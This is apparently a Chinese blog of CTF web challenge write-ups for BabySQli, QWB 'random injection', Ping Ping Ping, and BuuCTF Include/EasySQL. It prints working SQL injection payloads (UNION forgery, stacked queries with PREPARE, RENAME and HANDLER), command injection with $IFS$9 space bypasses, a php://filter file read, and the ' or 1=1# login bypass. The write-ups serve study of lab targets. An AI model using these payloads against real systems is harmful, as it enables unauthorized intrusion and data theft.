GXYCTF2019-BabySQli

[GXYCTF2019]BabySQli

1.题目:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
2.过程:

可以猜到username是admin,只会提示wrong pass……那就只能在username注入

image-20210127114903957

POST……用burpsuit

image-20210127115020460

发现有一段密文:MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

试试解密:先base32,再base64:select * from user where username = ‘$name’

不清楚有什么用欸……查一下sql里的MD5加密语句:

image-20210127115316636

这个应该很接近题目了。网上很多猜测源码的……GitHub上有源码:

image-20210127150627305

只查了一行,所以用union的特性,构造:

name=3’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’–+&pw=123

此时获取的是union的虚表,select ‘admin’,0,’202cb962ac59075b964b07152d234b70’ 是不行的

第二列应该是username,第三列是password;即arr[1]和arr[2]。

202cb962ac59075b964b07152d234b70即123的MD5编码……得flag

image-20210127151238520

 WEB
  

强网杯-2019-随便注

强网杯-2019-随便注

1.过程

image-20210115221958691

inject是注入点。

1
?inject=1' order by 2--+

测试发现有两列。

联合查询发现有过滤,大小写不能绕过:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

;不会报错,应该是堆叠注入?

1
2
show databases 查库
show tables 查表

image-20210115223134181

这两个表,可以看看。

1
2
3
4
5
6
7
8
9
show columns from `words`
//查看words表的结构
(show full 显示表格详细信息)
show columns from `1919810931114514`
1919810931114514里面有flag的信息。
默认查询的应该是words表。
那……预设的可能是
SELECT * FROM words WHERE inject='inject'
………额,sql语句怎么改表名?

查了一波资料,似乎有三种方法。

2.方法
一.select绕过

通过set、prepare、concat语句预设拼接好的select语句,运行即可。

1
2
3
4
5
?inject=1';
SET @lgy=concat('sel','ect * from `1919810931114514`;');//concat可以拼接字符串
PREPARE std from @lgy; //预设拼接后的语句,绕过select过滤
execute std; //执行
--+ //注释

image-20210115225848460

对于预设语句也是有过滤……确实预设好像挺秀的……

这个过滤用&&,还用strstr……用大小写绕过。

image-20210115230038360

可以得到flag。

二.更改表名
1
2
3
4
5
6
7
8
rename table `words` to `ina`;
rename table `1919810931114514` to `words`;
结果是报错: Unknown column 'id' in 'where clause'
预设查询的是where id =……
但改完后表中没有这一列
alter table `words` change `flag` `id` varchar(100);
//ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);
//VARCHAR(M)是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度。

再用?inject=-1’ or 1=1;就可以查出flag。

三.hander

​ handler语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

1
2
3
4
payload:
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;--+
1
flag{8138544e-d707-45a7-b56a-fc5e52a47572}

……确实可以,tqltql

 WEB
  

GXYCTF2019-PingPingPing

[GXYCTF2019]Ping Ping Ping

1.题目链接:
2.过程:

ping功能原理是向网络上的机器的唯一确定的IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,两台网络机器是否连接相通,时延是多少。

在进行ping功能的命令同时,可使其同时执行额外的其他命令

这需要用到一些命令管道符:

|:直接执行后面的语句

||:如果前面的语句执行出错,则执行后面的语句,否则仅执行前面的语句

&:前后的语句均可执行,但是前面的语句如果执行结果为假(即执行失败),则仅输出后面语句的结果

&&:如果前面的语句为假,则直接报错,也不执行后面的语句

;:多个语句不互相影响

详细:https://blog.csdn.net/youshaoduo/article/details/106607038

所以用:?ip=127.0.0.1||ls,可以得到:

1
2
3
4
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

用cat flag,显示:/?ip= fxck your space!

……

cat<>flag => /?ip= 1fxck your symbol!

这里有一个关于空格的过滤:

{IFS},$IFS$9,$IFS$1,<,<>,{cat,test.txt} ,……

cmd=$’\x20test.txt’&&cat$cmd

x20为16进制数,为32,\转义字符根据ASCII表,为空格……

payload中有flag:/?ip= 1fxck your flag!……

先访问index.php,payload:?ip=127.0.0.1||cat$IFS$9index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}

?>

显示了具体的过滤机制,如果要绕过flag的匹配,可以考虑借助$a,进行拼接。

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

em,拼接好像只能在最后一位,不然好像会出现变量名识别的错误……

1
2
3
<?php
$flag = "flag{835db201-f524-4497-a7f5-fca850954a63}";
?>

好像是当做php语句执行了,查看源码可以看到(大概)……

 WEB
  

BuuCTF-WEB部分基础题-1

BuuCTF-WEB部分基础题(1)

感觉这些题单独写有点少……所以写一块。

[ACTF2020 新生赛]Include

1.题目链接:
2.过程:

题目说明’include’为文件包含漏洞。打开后有一个tips,点开后URL出现了file=flag.php.的调用。

flag应该在flag.php中,但是以php语句解释并运行,导致flag无法正常显示……

所以可以在中间对其进行base64编码,使其无法运行……

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码后:

1
2
3
<?php
echo "Can you find out the flag?";
//flag{d962dde8-63dd-4b9d-bed6-ca2d1234e05a}

em,原来是注释掉了……

[极客大挑战 2019]EasySQL

1.题目链接:
2.过程:

我是cl4y,是一个WEB开发程序员,最近我做了一个网站,快来看看它有多精湛叭!

SQL也是刚学,找个简单的练练手……

打开之后是一个用户登录界面。

随便一输,回显“NO,Wrong username password!!!”

试试我新学的万能密码

1' or 1=1#

'闭合掉上一个语句,or 1=1 恒true,#注释掉后面的语句

结果直接把flag打出来了……

flag{44c19f5a-76e2-4d2a-b95f-50755985dc5a}

……

 WEB
  

:D 一言句子获取中...